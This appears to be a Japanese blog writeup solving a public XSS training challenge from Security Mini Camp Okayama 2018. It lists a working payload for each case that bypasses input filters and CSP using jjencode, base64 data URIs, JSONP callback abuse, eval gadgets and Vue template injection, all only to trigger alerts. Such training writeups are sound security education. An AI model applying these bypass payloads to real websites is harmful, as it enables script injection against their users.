XSS Challenge(セキュリティ・ミニキャンプ in 岡山 2018) Writeup
[更新履歴]
- 2018/11/24 1:40
問題差し替えに合わせて更新
セキュリティ・ミニキャンプ in 岡山 2018で使用された演習コンテンツが公開されていたので挑戦してみた。
年令制限により来世にならないとセキュリティ・キャンプに参加できない層からすると、一般公開はありがたい限り。
public な形で解法を公開していただくのも構いません。
とのことなので、writeupを書いた。
ルールは、alert('XSS') と alert(document.domain) の2つを実行できればクリア。
それぞれ実行に成功すると"You win! :-)" と表示される。
- Case 01: Simple XSS 1
- Case 02: Simple XSS 2
- Case 03: With htmlspecialchars()
- Case 04-1: Without any backquotes and HTML tags
- Case 04-2: Without any backquotes, HTML tags and [ux]
- Case 05: Without any alphabets
- Case 06-1: Without any paretheses
- Case 06-2: Without any parentheses and [oO][nN]
- Case 06-3: Without any paretheses and .[oO].[nN].*
- Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes
- Case 07-1: Without any quotes
- Case 07-2: Without any quotes and &
- Case 08-1: Without any backquotes, parentheses and HTML tags
- Case 08-2: Without any backquotes, parentheses, HTML tags and &
- Case 09-1: Without any spaces and "script"
- Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"
- Case 20: Bad use of JSONP
- Case 21: nonce + unsafe-eval
- Case 22: nonce + unsafe-eval
- Case 23: nonce + strict-dynamic
Case 01: Simple XSS 1
入力値が、そのままHTMLとして出力される。
特に工夫は不要。
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
Case 02: Simple XSS 2
URLの#
以降のハッシュが、innerHTMLにセットされる。
特に工夫は不要。
https://xss.shift-js.info/case02.php#%3Cimg%20src=x%20onerror=alert(%22XSS%22);%3E
https://xss.shift-js.info/case02.php#%3Cimg%20src=x%20onerror=alert(document.domain);%3E
Case 03: With htmlspecialchars()
phpのhtmlspecialchars関数でエスケープされた入力値が、aタグのhrefにセットされる。
javascript:ディレクティブを使用する。要クリック操作。
javascript:alert("XSS")
javascript:alert(document.domain)
Case 04-1: Without any backquotes and HTML tags
`<>
を除去された入力値が、innerHTMLにセットされる。
<>
をそのまま使用できないため、Unicode表記を使用する。
\u003Cimg src=x onerror=alert("XSS")\u003E
\u003Cimg src=x onerror=alert(document.domain)\u003E
Case 04-2: Without any backquotes, HTML tags and [ux]
`<>ux
を除去された入力値が、innerHTMLにセットされる。
Unicode表記とHexadecimal表記も塞がれた。
ただ、入力値が`(バッククォート)
の中にセットされており、テンプレートリテラルになっていることに着目する。テンプレートリテラル内では、${}
で括った文字列が式として実行される。
よって、除去される文字を${String.fromCharCode(n)}
で代替できる。
${String.fromCharCode(60)}img src=y onerror=alert("XSS")${String.fromCharCode(62)}
${String.fromCharCode(60)}img src=y onerror=alert(doc${String.fromCharCode(117)}ment.domain)${String.fromCharCode(62)}
Case 05: Without any alphabets
a-z
、A-Z
および0-9
を除去された入力値が、scriptタグ内に出力される。
jjencodeを使用する。
jjencode - Encode any JavaScript program using only symbols
なお、CTFでご用達のJSFuckでは、GETリクエストが長くなりすぎて、ブラウザの最大長を超えたので不可だった。
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"\\\")"+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();
Case 06-1: Without any paretheses
()
を除去された入力値が、h1タグ内に出力される。
()
が使用できないため、数値文字参照でコードを記述する。
<img src=x onerror="alert("XSS")">
<img src=x onerror="alert(document.domain)">
Case 06-2: Without any parentheses and [oO][nN]
Case 06-1に加えて、on(大文字小文字ともに)
を除去された入力値が、h1タグ内に出力される。
scriptのsrcに、base64エンコードしたコードを埋め込む。
外部スクリプトファイルを用意してもよかったかもしれない。
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
Case 06-3: Without any paretheses and .[oO].[nN].*
Case 06-1に加えて、.*[oO].*[nN].*
を除去された入力値が、h1タグ内に出力される。
alert("XSS")は、Case 06-2の解法のままで通る。
alert(document.domain)は、偶然にもbase64エンコード文字列の中に.*[oO].*[nN].*
にマッチする文字列が出現していたため、空白文字で微調整する。
alert(document.domain)→alert( document.domain )という小細工をして回避。
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbiAp"></script>
Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes
Case 06-3に加えて、<[a-zA-Z]+.+?>
を除去された入力値が、h1タグ内に出力される。
除去された後に<script>
の文字列になるよう、ダミーとして<a >
を挿入する。
<<a >script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<<a >script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbiAp"></script>
Case 07-1: Without any quotes
`'"
を除去された入力値が、h1タグ内に出力される。
"XSS"の表示には、String.fromCharCodeを使用する。
document.domainの表示はそのまま。
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(document.domain)</script>
Case 07-2: Without any quotes and &
`'\"&#
を除去された入力値が、h1タグ内に出力される。
Case 07-1と同じ解法が使えた。
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(document.domain)</script>
Case 08-1: Without any backquotes, parentheses and HTML tags
`()<>
を除去された入力値が、spanタグのid属性にセットされる。
また、phpのhtmlspecialchars関数でエスケープされた値も、spanタグ内に出力される。
"
でspanタグのid属性から抜けて、onClickイベントにコードをセットする。
()
が使用できないため、数値文字参照でコードを記述する。
要クリック操作。
" onclick="alert("XSS")
" onclick="alert(document.domain)
Case 08-2: Without any backquotes, parentheses, HTML tags and &
`()<>&#
を除去された入力値が、spanタグのid属性にセットされる。
また、phpのhtmlspecialchars関数でエスケープされた値も、spanタグ内に出力される。
数値文字参照が使用できないため、代わりに以下を参考にし、onerrorとthrowの組み合わせで回避した。
XSS technique without parentheses
" onclick="window.onerror=eval;throw '=alert\u0028\'XSS\'\u0029'"
" onclick="window.onerror=eval;throw '=alert\u0028document.domain\u0029'"
Case 09-1: Without any spaces and "script"
\s(空白文字)
とscript(小文字の文字列)
を除去された入力値が、h1タグ内に出力される。
script
は小文字が対象であるため、Script
を使用する。
<Script>alert("XSS")</Script>
<Script>alert(document.domain)</Script>
Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"
\s(空白文字)
とscript(大文字小文字ともに)
を除去された入力値が、h1タグ内に出力される。
除去された後にscript
の文字列になるよう、s
とcript
の間に、script
文字列を挿入する。
<sscriptcript>alert("XSS")</sscriptcript>
<sscriptcript>alert(document.domain)</sscriptcript>
Case 20: Bad use of JSONP
ここからはCSPが使用された問題。
単純にscriptタグを埋め込んでも実行できない。
<script src="jsonp.php?callback=callback"></script>
で、JSONPを使用してスクリプト実行している。
/jsonp.php?callback=callback
にアクセスすると、callback(30000);
の表示。
/jsonp.php?callback=hoge
に改変してアクセスすると、hoge(30000);
の表示。
よって、callbackパラメータにalert関数を埋めこんで実行し、残った(30000)
はコメントアウトする。
<script src="jsonp.php?callback=alert('XSS');//"></script>
<script src="jsonp.php?callback=alert(document.domain);//"></script>
Case 21: nonce + unsafe-eval
var answer = eval(window.equation.value);
で、id=equationのinputタグから計算式の値を取得してeval実行している。
alert関数をセットしたid=equationのinputタグを先に作って、evalに通してもらう。
<input type="hidden" id="equation" value="alert('XSS')"><!--
<input type="hidden" id="equation" value="alert(document.domain)"><!--
Case 22: nonce + unsafe-eval
Vue.jsを使用している。
{{}}
で関数を括れば、Vue.jsが実行してくれる。
ただ、単純に{{alert("XSS")}}
ではうまくいかなかった。
Vue.js で XSS を作り込まないために気を付けること - SSTエンジニアブログ
こちらを参考にした。
{{constructor.constructor("alert('XSS')")()}}
{{constructor.constructor("alert(document.domain)")()}}
Case 23: nonce + strict-dynamic
strict-dynamicがHTTPヘッダーにセットされている問題。
まだ解けていない。